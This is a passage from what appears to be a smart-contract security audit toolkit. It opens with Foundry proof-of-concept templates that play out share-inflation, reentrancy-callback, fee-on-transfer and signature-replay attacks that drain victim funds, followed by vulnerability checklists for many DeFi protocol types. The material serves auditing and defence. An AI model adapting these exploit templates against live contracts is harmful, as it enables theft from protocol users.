class // 1. Attacker makes first deposit of 1 wei _fund(attacker, address(token), 1); vm.startPrank(attacker); token.approve(address(protocol), 1); protocol.deposit(1, attacker); vm.stopPrank(); // 2. Attacker donates to inflate share price uint256 donation = 10_000e18; deal(address(token), attacker, donation); vm.prank(attacker); token.transfer(address(protocol), donation); // 3. Victim deposits — gets 0 shares due to rounding uint256 victimDeposit = 5_000e18; _fund(victim, address(token), victimDeposit); vm.startPrank(victim); token.approve(address(protocol), victimDeposit); protocol.deposit(victimDeposit, victim); vm.stopPrank(); // 4. Assert boundary value bug uint256 victimShares = protocol.balanceOf(victim); console.log("Victim deposited:", victimDeposit); console.log("Victim shares:", victimShares); assertEq(victimShares, 0, "BOUNDARY BUG: Victim got 0 shares at totalSupply boundary"); } function test_boundary_max_uint() public { // Test: What happens with type(uint256).max input? vm.startPrank(attacker); vm.expectRevert(); // Should revert, not overflow silently protocol.deposit(type(uint256).max, attacker); vm.stopPrank(); } function test_boundary_self_reference() public { // Test: What happens when from == to (self-transfer)? _fund(attacker, address(token), 100e18); vm.startPrank(attacker); token.approve(address(protocol), 100e18); protocol.deposit(100e18, attacker); uint256 balanceBefore = protocol.balanceOf(attacker); // Self-transfer: from == to protocol.transfer(attacker, 50e18); uint256 balanceAfter = protocol.balanceOf(attacker); vm.stopPrank(); assertEq(balanceAfter, balanceBefore, "Self-transfer should not change balance"); } } ``` --- ## Template 9: State Desync PoC (for [STALE-*] and [CONFLICT-*] findings) ```solidity contract StateDesyncPoC is BasePoCTest { IProtocol protocol; IERC20 token; function test_stale_read_via_callback() public { // Test: State variable read is stale because callback modified it // 1. Setup: Deposit to create state _fund(victim, address(token), 100e18); vm.startPrank(victim); token.approve(address(protocol), 100e18); protocol.deposit(100e18, victim); vm.stopPrank(); // 2. Deploy malicious token/contract that re-enters during callback MaliciousCallback attacker_contract = new MaliciousCallback(address(protocol)); // 3. Trigger the flow that reads state → external call → state modified in callback → original function uses stale value vm.startPrank(attacker); uint256 stateBefore = protocol.someStateVariable(); attacker_contract.triggerAttack(); uint256 stateAfter = protocol.someStateVariable(); vm.stopPrank(); // 4. Assert state desync console.log("State before:", stateBefore); console.log("State after:", stateAfter); // The desync means the invariant (stateA == stateB always) is broken assertFalse( protocol.checkInvariant(), "STATE DESYNC: Invariant broken after stale read exploitation" ); } } contract MaliciousCallback { IProtocol protocol; constructor(address _protocol) { protocol = IProtocol(_protocol); } function triggerAttack() external { // Call function that triggers callback protocol.withdraw(1e18, address(this), address(this)); } // Callback (receive / onERC721Received / tokensReceived) receive() external payable { // Re-enter: modify state during the callback window // This creates the stale read condition protocol.someModifyingFunction(); } } ``` --- ## Template 10: Token Integration PoC (Fee-on-Transfer / Rebasing) ```solidity contract TokenIntegrationPoC is BasePoCTest { IProtocol protocol; MockFeeToken feeToken; function setUp() public override { super.setUp(); // Deploy mock token that takes 10% fee on transfer feeToken = new MockFeeToken(10); // ... protocol setup } function test_fee_on_transfer_accounting_bug() public { // 1. Setup: Victim has 100 tokens, attacker has 100 tokens _fund(victim, address(feeToken), 100e18); _fund(attacker, address(feeToken), 100e18); // 2. Victim deposits 100 tokens. // Due to 10% fee, protocol actually receives 90 tokens. // VULNERABILITY: Protocol mints shares based on the argument (100), not actual received. vm.startPrank(victim); feeToken.approve(address(protocol), 100e18); protocol.deposit(100e18, victim); vm.stopPrank(); uint256 protocolBalance = feeToken.balanceOf(address(protocol)); console.log("Protocol actual balance:", protocolBalance); uint256 victimShares = protocol.balanceOf(victim); console.log("Victim shares minted:", victimShares); // 3. Attacker deposits to exploit the resulting insolvency vm.startPrank(attacker); feeToken.approve(address(protocol), 20e18); protocol.deposit(20e18, attacker); // 4. Attacker forces protocol insolvency by withdrawing more than its fair share uint256 attackerShares = protocol.balanceOf(attacker); protocol.withdraw(attackerShares, attacker, attacker); vm.stopPrank(); // 5. Assert Victim cannot withdraw their full shares due to bad debt vm.startPrank(victim); vm.expectRevert(); // Typically reverts due to arithmetic underflow or failed transfer protocol.withdraw(victimShares, victim, victim); vm.stopPrank(); assertTrue(true, "VULNERABILITY: Protocol becomes insolvent due to Fee-on-Transfer accounting failure"); } } contract MockFeeToken is ERC20 { uint256 public feePercentage; constructor(uint256 _feePercentage) ERC20("Mock Fee Token", "MFT") { feePercentage = _feePercentage; } function mint(address to, uint256 amount) external { _mint(to, amount); } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { uint256 fee = (amount * feePercentage) / 100; uint256 amountToReceiver = amount - fee; _transfer(from, address(this), fee); // Send fee to contract _transfer(from, to, amountToReceiver); // Approve standard ERC20 behavior where allowance is decremented uint256 currentAllowance = allowance(from, _msgSender()); require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(from, _msgSender(), currentAllowance - amount); return true; } } ``` --- ## Template 11: Signature Replay PoC ```solidity contract SignatureReplayPoC is BasePoCTest { IProtocol protocol; IERC20 token; // Test accounts with known private keys uint256 victimPrivateKey = 0xA11CE; address victimSigner; function setUp() public override { super.setUp(); victimSigner = vm.addr(victimPrivateKey); _fund(victimSigner, address(token), 100_000e18); } function test_signature_replay() public { // 1. Victim signs an intent/permit to do an operation once bytes32 structHash = keccak256( abi.encode( keccak256("Operation(address user,uint256 amount)"), victimSigner, 100e18 ) ); // Note: Vulnerable protocol doesn't include nonce or chainId in the hash bytes32 digest = keccak256( abi.encodePacked("\x19\x01", protocol.DOMAIN_SEPARATOR(), structHash) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(victimPrivateKey, digest); bytes memory signature = abi.encodePacked(r, s, v); // 2. Relayer (or anyone) executes the operation normally the first time vm.prank(attacker); protocol.executeOperation(victimSigner, 100e18, signature); uint256 balanceAfterFirst = token.balanceOf(victimSigner); console.log("Victim balance after 1st execution:", balanceAfterFirst); // 3. Attacker REPLAYS the exact same signature because there's no nonce! vm.startPrank(attacker); protocol.executeOperation(victimSigner, 100e18, signature); protocol.executeOperation(victimSigner, 100e18, signature); protocol.executeOperation(victimSigner, 100e18, signature); vm.stopPrank(); uint256 balanceAfterReplay = token.balanceOf(victimSigner); console.log("Victim balance after REPLAYS:", balanceAfterReplay); // 4. Assert Replay Vulnerability Extracted Value uint256 drainedAmount = 100_000e18 - balanceAfterReplay; assertGt(drainedAmount, 100e18, "VULNERABILITY: Signature was replayed multiple times!"); } } ``` --- ## Validation Requirements ### 3x Reproducibility Check Every PoC must pass with 3 different input sets: ```bash # Run 1: Default values forge test --match-test test_exploit -vvv # Run 2: Different amounts (use fuzz) forge test --match-test test_exploit --fuzz-runs 100 -vvv # Run 3: Different block/timestamp FOUNDRY_BLOCK_NUMBER=18000000 forge test --match-test test_exploit -vvv ``` ### Impact Quantification Every PoC must log: 1. **TVL at risk**: Total assets in the contract 2. **Profit extracted**: Attacker's net gain 3. **Cost of attack**: Gas + capital required 4. **Users affected**: Number of users who lose funds 5. **Recovery possibility**: Can funds be recovered? ### PoC Quality Checklist - [ ] Compiles and runs: `forge test --match-test test_exploit -vvv` - [ ] Uses realistic values (not just 1 wei tests) - [ ] Logs clear output showing exploit success - [ ] Asserts specific conditions (not just "no revert") - [ ] Includes comments explaining each attack step - [ ] Works on mainnet fork if applicable ## references/protocol-checklists.md # Protocol-Specific Vulnerability Checklists Protocol-type-specific vulnerability patterns sourced from 460+ real audit findings across 31 protocol types (Protocol Vulnerabilities Index), Decurity checklists, Solcurity standard, Secureum mindmaps, and community databases. Auto-loaded during Phase 3 (HUNT) based on detected protocol type. > **Source**: [Protocol Vulnerabilities Index](https://github.com/kadenzipfel/protocol-vulnerabilities-index) (460 vulns, 31 types), [Decurity](https://github.com/Decurity/audit-checklists), [Solcurity](https://github.com/transmissions11/solcurity), [Secureum](https://github.com/x676f64/secureum-mind_map) --- ## Lending Protocol Checklist ### Liquidation Logic - [ ] Can a position be liquidated and still leave bad debt (underwater after liquidation)? - [ ] Is there a liquidation incentive/bonus that's bounded? (too high = drains protocol, too low = no one liquidates) - [ ] Can self-liquidation be used to game the system (liquidate yourself for the bonus)? - [ ] Does the health factor check happen BEFORE or AFTER the liquidation? (must be before) - [ ] Can a borrower front-run liquidation with a small repay to grief the liquidator? - [ ] What happens when collateral price drops > liquidation bonus in one block? (bad debt) - [ ] Is there a bad debt socialization mechanism? - [ ] Can flash loans be used to manipulate health factor for liquidation avoidance? ### Interest Rate - [ ] Is interest accrued BEFORE state changes in borrow/repay/liquidate? - [ ] Can interest rate be manipulated by flash-loaning huge amounts? - [ ] Is the interest rate model correct at boundary values (0% utilization, 100% utilization)? - [ ] Does compounding math use the correct time base? (seconds vs blocks vs epochs) - [ ] Are there rounding exploits in interest calculations at very small or very large positions? ### Position Health - [ ] Can a user borrow against collateral and withdrawal collateral in the same transaction? - [ ] Is the health check performed after EVERY state-changing action? - [ ] Can price oracle delay create a window where unhealthy positions aren't liquidatable? - [ ] Are all collateral types properly valued with appropriate LTV ratios? ### Accounting - [ ] Do share/asset conversions match between deposit, withdrawal, borrow, and repay? - [ ] Can precision loss in share calculations create free tokens over many small operations? - [ ] Is the total borrow tracked correctly across partial repayments? - [ ] Can the total supply of debt tokens diverge from actual debt? - [ ] Are bad debts properly accounted for and socialized? --- ## DEX / AMM Checklist ### Swap Mechanics - [ ] Is the constant product (x*y=k) or CPMM formula correctly implemented? - [ ] Can reserves be manipulated by direct token transfer (donation attack on price)? - [ ] If using forked code (Uniswap), has contract-diff.xyz comparison been done? - [ ] Are rounding errors in product constant formulas exploitable? - [ ] Is the CEI pattern followed when updating reserves? (prevents callback reentrancy) ### Fee & Slippage - [ ] Are fees deducted BEFORE or AFTER the swap calculation? (must be consistent) - [ ] Does the protocol support fee-on-transfer tokens? Is the fee accounted for in swap math? - [ ] Is `minAmountOut` enforced on ALL swap paths? - [ ] Is there a `deadline` parameter to prevent pending transaction exploitation? - [ ] Can sandwich attacks extract value from swaps without slippage protection? ### Liquidity Provision - [ ] First depositor / initial liquidity manipulation: can attacker inflate share price? - [ ] Is minimum liquidity locked to prevent total share manipulation? - [ ] Can LP token minting/burning create rounding exploits? - [ ] Are there imbalanced deposit/withdrawal attacks on multi-asset pools? ### Flash Swaps / Loans - [ ] Is the callback function called AFTER token transfer, not before? - [ ] Can the callback be used to manipulate reserves during the swap? - [ ] Is the fee correctly calculated and enforced on flash loan repayment? ### TWAMM / Concentrated Liquidity - [ ] Does the TWAMM handle rebasing tokens during long-term swaps? - [ ] Is there a liquidity check before executing long-term orders? - [ ] For concentrated liquidity: can positions be manipulated at tick boundaries? ### Integration - [ ] Do callback functions (e.g., `uniswapV3SwapCallback`) verify the calling contract address? - [ ] Is `minAmountOut` calculated using external oracles, not spot price? --- ## CDP / Stablecoin Checklist ### Collateral Management - [ ] Can collateral value be manipulated through oracle or donation attacks? - [ ] Are all supported collateral types tested (ERC20, LP tokens, yield tokens, NFTs)? - [ ] Is collateral valuation correct for tokens with non-18 decimals? - [ ] For LP collateral: is the virtual price attack vector mitigated? - [ ] For yield-bearing collateral: is the exchange rate manipulable? ### Debt Management - [ ] Can debt be taken without proper collateral backing? - [ ] Is the collateralization ratio enforced at all entry points? - [ ] Can flash loans be used to bypass collateralization requirements? - [ ] Is there a minimum debt amount to prevent dust positions? ### Liquidation (CDP-specific) - [ ] In auction-based liquidations: can the auction be griefed or blocked? - [ ] Is there a grace period that can be exploited? - [ ] Can the liquidation keeper front-run other keepers to extract MEV? - [ ] What happens if no one bids in an auction? Is there a fallback? ### Peg Stability - [ ] Can the stablecoin be minted without proper collateral? - [ ] Is the peg mechanism robust to large market moves? - [ ] Can governance parameters be manipulated to destabilize the peg? --- ## Yield / Vault Checklist ### Share Price & Inflation - [ ] First depositor attack: virtual share offset or dead shares implemented? - [ ] Can donation attack manipulate share price? - [ ] Is share price monotonically increasing (excluding loss events)? - [ ] Are deposit/redeem rounding directions correct? (deposit rounds DOWN shares, redeem rounds UP assets) ### Strategy Integration - [ ] What happens if a strategy reports a loss? Is it properly propagated to share price? - [ ] Can an attacker manipulate strategy returns via flash loans? - [ ] Are strategy harvest timestamps exploitable for share price manipulation? - [ ] Can a strategy be sandwiched around harvest/compound calls? ### Withdrawal Queue - [ ] Can withdrawal requests be blocked by a grief attack? - [ ] Is there a maximum queue length or minimum withdrawal amount? - [ ] What happens if the vault doesn't have enough liquid assets? - [ ] Can prioritized withdrawals bypass the queue unfairly? ### Fee Accounting - [ ] Are performance fees calculated on actual profit, not total assets? - [ ] Can management fees compound to drain the vault? - [ ] Are fee recipient addresses validated (non-zero)? - [ ] Is fee precision loss exploitable? --- ## Staking / Rewards Checklist ### Reward Distribution - [ ] Is the reward per token accumulator updated BEFORE any state change? - [ ] Can a user stake 0 or dust amounts to claim disproportionate rewards? - [ ] Is there a minimum staking duration? Can flash-stake claim rewards? - [ ] Are rewards calculated correctly across multiple reward periods? - [ ] Can unused rewards be recovered? Or are they locked forever? ### Staking Mechanics - [ ] Is there a cooldown/unbonding period? Can it be bypassed? - [ ] Can slashing be avoided by unstaking before the slash event? - [ ] Is the reward rate update atomic with deposit/withdrawal? - [ ] Can a large stake/unstake sandwich the reward distribution? ### Delegation (Liquid Staking) - [ ] Can delegation be front-run to claim someone else's rewards? - [ ] Is the exchange rate (staked token ↔ liquid token) manipulable? - [ ] Are validator selection/rotation mechanisms fair? - [ ] What happens if a validator is slashed? Is the loss proportional? --- ## Governance Checklist ### Voting Power - [ ] Can flash loans be used to acquire voting power? (snapshot-based voting required) - [ ] Is vote delegation properly tracked and non-exploitable? - [ ] Can voting power be double-counted through transfers during voting? - [ ] Is there a minimum quorum that prevents low-participation attacks? ### Proposal Execution - [ ] Is there a timelock between proposal passing and execution? - [ ] Can the timelock be bypassed through multiple proposals? - [ ] Is there a grace period after timelock that could be missed? - [ ] Can proposal execution revert and block the queue? ### Parameter Changes - [ ] Are governance-changeable parameters bounded? - [ ] Can fee parameters be set to 100% through governance? - [ ] Can oracle addresses be changed to malicious ones? - [ ] Is there a guardian/emergency role that can bypass governance? --- ## Bridge / Cross-Chain Checklist ### Message Validation - [ ] Is the source chain validated before processing messages? - [ ] Is the sender address verified on the source chain? - [ ] Is there nonce-based replay protection? - [ ] Can the same message be replayed across different chains? ### Token Handling - [ ] Are token mappings (source ↔ destination) correctly maintained? - [ ] Can unmapped tokens be bridged to cause loss of funds? - [ ] Are native ETH and wrapped ETH handled correctly? - [ ] Is the flow rate/rate limiting implemented to cap maximum bridged amount? ### Relayer/Sequencer - [ ] What happens if the relayer goes offline? Can users still withdraw? - [ ] Can the relayer censor or reorder messages? - [ ] Is there a fallback mechanism for stuck messages? - [ ] Is the gas estimation correct for cross-chain execution? --- ## NFT / Marketplace Checklist ### Transfer & Ownership - [ ] Is `safeTransferFrom` used and does it trigger callback reentrancy? - [ ] Can `transferFrom` bypass approval checks? - [ ] Are royalty fees correctly calculated and distributed (EIP-2981)? - [ ] Can NFT attributes be manipulated by the owner after listing? ### Auction & Listing - [ ] Can bids be front-run or sandwiched? - [ ] Is there a minimum bid increment to prevent griefing? - [ ] Can a listing be created for an NFT the seller doesn't own? - [ ] What happens if the NFT is transferred while a listing is active? ### Randomness (Gaming/NFT) - [ ] Is Chainlink VRF or commit-reveal used for randomness? (not block.timestamp/hash) - [ ] Can the randomness request be manipulated by rerolling? - [ ] Is the VRF callback secured against unauthorized callers? --- ## Insurance Protocol Checklist - [ ] Is the claim validation process decentralized and fair? - [ ] Can claim payouts exceed the insurance pool? - [ ] Are premium calculations correct and not exploitable? - [ ] Is premium pricing front-runnable? - [ ] Can the withdrawal queue for premium redemption be DoS'd? - [ ] Are covered events properly defined and not ambiguous? --- ## Launchpad / Token Sale Checklist - [ ] Is the vesting cliff and linear vesting correctly calculated? - [ ] Can cliff be bypassed through contract interaction? - [ ] Is there snapshot-based checkpoint manipulation via flash loans? - [ ] Are allocation caps enforced and not bypassable by multiple accounts (Sybil)? - [ ] Is the auction mechanism (Dutch/English) correctly implemented at boundaries? - [ ] Can ETH overpayment be lost? (missing refund logic) - [ ] Is the selfdestruct of temporary contracts handled safely? --- ## Perpetuals / Derivatives Checklist *Source: WEB3-AUDIT-SKILLS perpetuals-checklist* - [ ] Funding rate calculation: correctly reflects imbalance between longs and shorts? - [ ] Mark price vs index price: manipulation of mark price for liquidation attacks? - [ ] ADL (Auto-Deleveraging): profitable positions forcibly reduced — ordering fair? - [ ] Position size limits: can one trader dominate the open interest? - [ ] PnL settlement: realized PnL uses correct mark/index price at time of close? - [ ] Leverage: maximum leverage bounded and enforced at position open AND updates? - [ ] Insurance fund: adequately funded to cover cascading liquidations? - [ ] Fee structure: maker/taker fees calculated on correct notional value? --- ## Restaking / LRT Checklist *Source: WEB3-AUDIT-SKILLS restaking-lrt-checklist* - [ ] Slashing propagation: AVS slashing event correctly reduces LRT share value? - [ ] AVS registration: operator cannot register for incompatible AVS combinations? - [ ] Withdrawal queue: restaked assets subject to both EigenLayer AND protocol unbonding? - [ ] Operator delegation: withdrawing user receives correct pro-rata of operator rewards? - [ ] Double slashing: same event cannot slash across multiple AVS registrations? - [ ] Share accounting: LRT accurately reflects underlying restaked ETH minus slashing? - [ ] Strategy integration: adding/removing strategies doesn't corrupt existing positions? - [ ] Withdrawal credential: withdrawal address set to protocol, not operator? --- ## Liquid Staking Checklist *Source: WEB3-AUDIT-SKILLS liquid-staking-checklist* - [ ] Exchange rate: totalPooledETH / totalShares updated ONLY by oracle report? - [ ] Oracle report bounded: rate cannot change by more than X% per report? - [ ] Validator withdrawal credentials: set to protocol contract, not operator? - [ ] Validator key uniqueness: same BLS key cannot be registered twice? - [ ] Slashing loss: distributed pro-rata across all LST holders? - [ ] Operator exit: protocol can force validator exit via signed exit message? - [ ] stETH rebase: balances update correctly — integrations must use wstETH or rate? - [ ] Exchange rate attack: large deposit BEFORE oracle report cannot steal pending rewards? - [ ] Beacon chain balance reconciliation: protocol accounting matches on-chain validators? - [ ] Oracle quorum: multiple reporters must agree on beacon state? --- ## Options / Structured Products Checklist *Source: WEB3-AUDIT-SKILLS options-structured-checklist* - [ ] Black-Scholes or pricing model: IV input source validated (can't be manipulated)? - [ ] Settlement oracle: returns price at EXACT expiry timestamp, not latest? - [ ] Exercise logic: options only exercisable after expiry and before deadline? - [ ] Collateral locking: writer's collateral locked until expiry regardless of price? - [ ] IV manipulation: option purchase cannot front-run IV update to get better premium? - [ ] Payout calculation: max payout bounded by collateral (writer can't owe more than deposited)? - [ ] Auto-exercise: in-the-money options auto-exercised at expiry if no claim? - [ ] Binary/digital options: payout is fixed amount or zero — no partial payout bugs? --- ## Intent-Based Protocol Checklist *Source: WEB3-AUDIT-SKILLS intent-based-checklist* - [ ] Solver competition: intent settled by best solver offer, not first submitted? - [ ] Intent expiry: stale intents cannot be filled after deadline at outdated price? - [ ] Solver bond: solvers post collateral that can be slashed for malicious fills? - [ ] Fill validation: settled tokens match user's intent specification exactly? - [ ] Partial fills: user's intent can't be partially filled leaving dust unfillable? - [ ] MEV protection: solver cannot extract value beyond specified slippage? - [ ] Cross-chain intents: execution verified on both source and destination chains? --- ## Solcurity Standard Integration ### Code-Level Checks (from Solcurity) - [ ] **V1**: Is `SafeERC20` used for ALL token interactions? - [ ] **V3**: Can any variable be set to a value that would render the contract ineffective? (e.g., fee = 100%) - [ ] **V5**: For auth functions, verify `msg.sender == owner` not `tx.origin == owner` - [ ] **V7**: If variable packing is used, are values read together actually accessed together? - [ ] **V8**: Are re-assignable state variables event-emitted on change? ### External Call Checks (from Solcurity) - [ ] **X3**: Would reentrancy through THIS function be harmful? - [ ] **X4**: Would reentrancy through ANOTHER function be harmful? - [ ] **X6**: What if the external call uses all provided gas? - [ ] **X7**: Can the return data cause out-of-gas in the calling contract? - [ ] **X8**: Do not assume `success` implies the function exists (phantom functions) ### DeFi Checks (from Solcurity) - [ ] **D2**: Don't mix internal accounting with raw `balanceOf()` calls - [ ] **D3**: Don't use AMM spot price as oracle - [ ] **D6**: Watch for rebasing tokens — document if unsupported - [ ] **D7**: Watch for ERC-777 callback reentrancy even on trusted tokens - [ ] **D10**: Don't rely on raw token balance for share price calculations - [ ] **D11**: If contract is target for approvals, don't make arbitrary calls from user input --- ## Secureum Pitfalls Integration ### Top Missing Patterns (from Secureum 101/201) - [ ] **SP-1**: Incorrect constructor name or visibility in Solidity <0.4.22 - [ ] **SP-2**: Uninitialized storage pointers in older Solidity versions - [ ] **SP-3**: Missing `payable` on functions that should receive ETH - [ ] **SP-4**: Locked ether — contract receives ETH but has no withdrawal function - [ ] **SP-5**: Incorrect function state mutability (marked `view` but modifies state) - [ ] **SP-6**: Unprotected `selfdestruct` allows anyone to destroy contract - [ ] **SP-7**: Hash collision with `abi.encodePacked` of dynamic types - [ ] **SP-8**: Dirty high bits in `msg.data` can affect logic - [ ] **SP-9**: `transfer()` and `send()` limited to 2300 gas — may fail with contract recipients - [ ] **SP-10**: Missing events for critical state changes - [ ] **SP-11**: ERC-20 `approve()` race condition - [ ] **SP-12**: `ecrecover` returns `address(0)` for invalid signatures — must check - [ ] **SP-13**: Using `block.timestamp` for critical logic (can be manipulated ~15s by miners) - [ ] **SP-14**: Short address attack with `msg.data` padding - [ ] **SP-15**: Incorrect inheritance order (C3 linearization) - [ ] **SP-16**: Missing `delete` for storage references (stale data) - [ ] **SP-17**: Account existence check before `transfer` — low-level calls to EOAs succeed - [ ] **SP-18**: Unexpected `msg.value` in loops (reused across iterations) - [ ] **SP-19**: Incorrect function selector collision from function overloading - [ ] **SP-20**: Uninitialized proxy implementations allowing takeover --- ## Usage During Phase 3 (HUNT), detect protocol type and load the appropriate section: ``` Protocol Detection → Checklist Loaded: ├── Lending → "Lending Protocol Checklist" ├── DEX/AMM → "DEX / AMM Checklist" ├── CDP/Stablecoin → "CDP / Stablecoin Checklist" ├── Vault/Yield → "Yield / Vault Checklist" ├── Staking → "Staking / Rewards Checklist" ├── Governance → "Governance Checklist" ├── Bridge → "Bridge / Cross-Chain Checklist" ├── NFT/Marketplace → "NFT / Marketplace Checklist" ├── Insurance → "Insurance Protocol Checklist" ├── Launchpad → "Launchpad / Token Sale Checklist" ├── Perpetuals → "Perpetuals / Derivatives Checklist" ├── Restaking/LRT → "Restaking / LRT Checklist" ├── Liquid Staking → "Liquid Staking Checklist" ├── Options → "Options / Structured Products Checklist" ├── Intent-Based → "Intent-Based Protocol Checklist" └── ALL → "Solcurity + Secureum Integration" (always loaded) ``` Always load the Solcurity and Secureum sections regardless of protocol type. ## references/protocol-context-engine.md # VeerSkills Protocol Context Engine _21 protocol-specific security context files derived from 10,600+ real audit findings. Each bug class has preconditions, detection heuristics, false positives, and historical exploits specific to the protocol type._ _Adapted from Forefy's PROTOCOL CONTEXT system._ --- ## How to Use During **Phase 2 (MAP)**, after detecting the protocol type: 1. Load the matching protocol context file below 2. For each bug class listed in the context file, extract: - **Preconditions**: Does this protocol have the conditions for this bug class? - **Detection Heuristics**: Exact grep patterns and code reading checks - **False Positives**: What would make a finding NOT a bug in this specific context? - **Historical Findings**: Real-world precedent — what similar protocols got hit with 3. Feed these into the HUNT phase as **targeted search instructions** for each agent This replaces generic checklist scanning with protocol-aware, history-informed analysis. --- ## Protocol Context File Index | Protocol Type | Auto-Detection Signals | File | |---|---|---| | **Lending** | `borrow`, `liquidate`, `healthFactor`, `ILendingPool`, `collateralFactor` | `$FOREFY/protocols/lending.md` | | **DEX/AMM** | `swap`, `addLiquidity`, `getReserves`, `IUniswapV2Router`, `slot0` | `$FOREFY/protocols/dexes.md` | | **Derivatives/Perps** | `openPosition`, `leverage`, `fundingRate`, `markPrice`, `indexPrice` | `$FOREFY/protocols/derivatives.md` | | **Yield/Vault** | `ERC4626`, `totalAssets`, `convertToShares`, `harvest`, `compound` | `$FOREFY/protocols/yield.md` | | **Staking** | `stake`, `unstake`, `rewardPerToken`, `notifyRewardAmount`, `slashing` | `$FOREFY/protocols/staking.md` | | **Bridge** | `sendMessage`, `receiveMessage`, `relayer`, `chainId`, `lzReceive` | `$FOREFY/protocols/bridges.md` | | **Governance** | `propose`, `castVote`, `quorum`, `timelock`, `execute` | `$FOREFY/protocols/governance.md` | | **NFT Marketplace** | `listItem`, `buyItem`, `cancelListing`, `royalty`, `ERC721` | `$FOREFY/protocols/nft-marketplace.md` | | **NFT/Gaming** | `mint`, `tokenURI`, `totalSupply`, `randomness`, `VRF` | `$FOREFY/protocols/nft-gaming.md` | | **Insurance** | `coverage`, `claim`, `premium`, `underwriter`, `pool` | `$FOREFY/protocols/insurance.md` | | **Synthetics** | `synth`, `debt`, `debtShare`, `SNX`, `collateralizationRatio` | `$FOREFY/protocols/synthetics.md` | | **Launchpad** | `presale`, `vestingSchedule`, `tokenDistribution`, `claimTokens` | `$FOREFY/protocols/launchpad.md` | | **Stablecoin (Algo)** | `peg`, `rebase`, `seigniorage`, `expansionRate` | `$FOREFY/protocols/algo-stables.md` | | **Stablecoin (Decentralized)** | `CDP`, `vault`, `stabilityPool`, `redemption` | `$FOREFY/protocols/decentralized-stablecoin.md` | | **Index/Basket** | `setToken`, `rebalance`, `componentUnit`, `issuance` | `$FOREFY/protocols/indexes.md` | | **Liquidity Manager** | `rebalance`, `tickRange`, `positionManager`, `NonfungiblePositionManager` | `$FOREFY/protocols/liquidity-manager.md` | | **Privacy** | `deposit`, `withdraw`, `nullifier`, `commitment`, `MerkleTree` | `$FOREFY/protocols/privacy.md` | | **Reserve Currency** | `bonding`, `staking`, `rebasing`, `OHM`, `sOHM` | `$FOREFY/protocols/reserve-currency.md` | | **RWA Lending** | `RWA`, `tokenization`, `compliance`, `creditRating` | `$FOREFY/protocols/rwa-lending.md` | | **RWA Tokenization** | `tokenize`, `fractional`, `deed`, `KYC` | `$FOREFY/protocols/rwa-tokenization.md` | | **Services** | `registry`, `resolver`, `subscription`, `payment` | `$FOREFY/protocols/services.md` | `$FOREFY` = `/home/web3/web3_tools/skills/forefy-context/skills/smart-contract-audit/reference/solidity` --- ## Bug Class Registry (FV-SOL Taxonomy) Each protocol context file references these bug classes. The FV-SOL taxonomy provides deep theory and Bad/Good code examples: ### Core Vulnerability Taxonomy | ID | Category | Subcases | Reference | |---|---|---|---| | **FV-SOL-1** | Reentrancy | 9 variants (single, cross-function, cross-contract, cross-chain, dynamic, read-only, ERC721/1155 callback, ERC777 hook, transient storage) | `$FOREFY/fv-sol-1-reentrancy/` | | **FV-SOL-2** | Precision Errors | 7 variants (decimals, floating-point, rounding, div-by-zero, time-based, ERC4626, special token accounting) | `$FOREFY/fv-sol-2-precision-errors/` | | **FV-SOL-3** | Arithmetic Errors | 6 variants (overflow/underflow, sign extension, truncation, environment vars, assembly arithmetic, assembly memory/calldata) | `$FOREFY/fv-sol-3-arithmetic-errors/` | | **FV-SOL-4** | Bad Access Control | 11 variants (tx.origin, unrestricted roles, missing multisig, signature flaws, callback bypass, arbitrary call, ERC1271, arbitrary storage, CREATE2 squat, commit-reveal binding, hash collision) | `$FOREFY/fv-sol-4-bad-access-control/` | | **FV-SOL-5** | Logic Errors | 11 variants (boundary, conditionals, state transitions, misordered calcs, event misreporting, same-block snapshot, msg.value reuse, force ETH, deployment config, data structure integrity, weak RNG) | `$FOREFY/fv-sol-5-logic-errors/` | | **FV-SOL-6** | Unsafe External Interactions | Token transfers, approvals, return values, low-level calls | `$FOREFY/fv-sol-6-unsafe-external-interactions/` | | **FV-SOL-7** | Proxy Insecurities | Upgrade, initialization, storage collision, UUPS | `$FOREFY/fv-sol-7-proxy-insecurities/` | | **FV-SOL-8** | Slippage & MEV | Front-running, sandwich, deadline, minAmountOut | `$FOREFY/fv-sol-8-slippage-mev/` | | **FV-SOL-9** | Denial of Service | Unbounded loops, push payment griefing, gas limit | `$FOREFY/fv-sol-9-dos/` | | **FV-SOL-10** | Oracle Manipulation | 7 variants (incorrect compounding, price drift, external market manipulation, time lags, Chainlink validity, L2 sequencer, missing bounds) | `$FOREFY/fv-sol-10-oracle-manipulation/` | ### Protocol-Specific Bug Classes (No FV-SOL Equivalent) These are classes discovered from real audit data that don't fit into the standard taxonomy: | Bug Class | Commonly Found In | Key Pattern | |---|---|---| | **Accounting Share Mismatch** | Lending, Vaults | Treasury mint inversion, liquidation fee miscounting | | **Bad Debt / Protocol Insolvency** | Lending | Dust positions, min borrow bypass, unsocialized debt | | **Liquidation Logic Errors** | Lending, Perps | Ordering bugs, front-run repayment, stale index | | **Interest Accrual Errors** | Lending | Timestamp advance without increment, retroactive rate change | | **Interest Rate Update Ordering** | Lending | Rate update before balance update | | **Position Health Check Errors** | Lending | Missing accrued interest, wrong weighting formula | | **Reward Distribution Errors** | Staking, Lending, Yield | Accumulator before transfer, missing liquidation checkpoint | | **Treasury/Fee Accounting** | All DeFi | Sign error in mint, fee not burned | | **Vault Share Inflation** | Vault, ERC4626 | First depositor, donation attack | | **External Protocol Integration** | All DeFi | Wrong join/exit kind, stale interface, peg assumption | | **ERC-4626 Compliance** | Vault | Preview/actual divergence, max return wrong when paused | | **Depeg of Pegged Assets** | Lending, Vault | 1:1 assumption, no independent oracle | --- ## Per-Bug-Class Analysis Template When scanning each bug class for a specific protocol, use this structure: ```markdown ### [Bug Class Name] (ref: FV-SOL-X) **Preconditions met?** [YES/NO — does this codebase have the conditions?] If NO → SKIP (log in debug trace) **Detection checks performed:** - [ ] [Detection heuristic 1 from protocol context file] - [ ] [Detection heuristic 2] - [ ] [Detection heuristic 3] **Suspects found:** [count] For each suspect: - File:line: [location] - Pattern: [what triggered it] - FP check: [result of applying FP criteria from protocol context file] - Historical match: [similar finding from notable historical findings section] **Verdict:** SUSPECT → [move to ATTACK phase] | CLEAR [log why] ``` --- ## Loading Protocol Context During Audit ### Step 1: Detect Protocol Type ```python # Pseudo-code for auto-detection for signal in protocol_signals: count = grep(codebase, signal.pattern) if count >= signal.threshold: 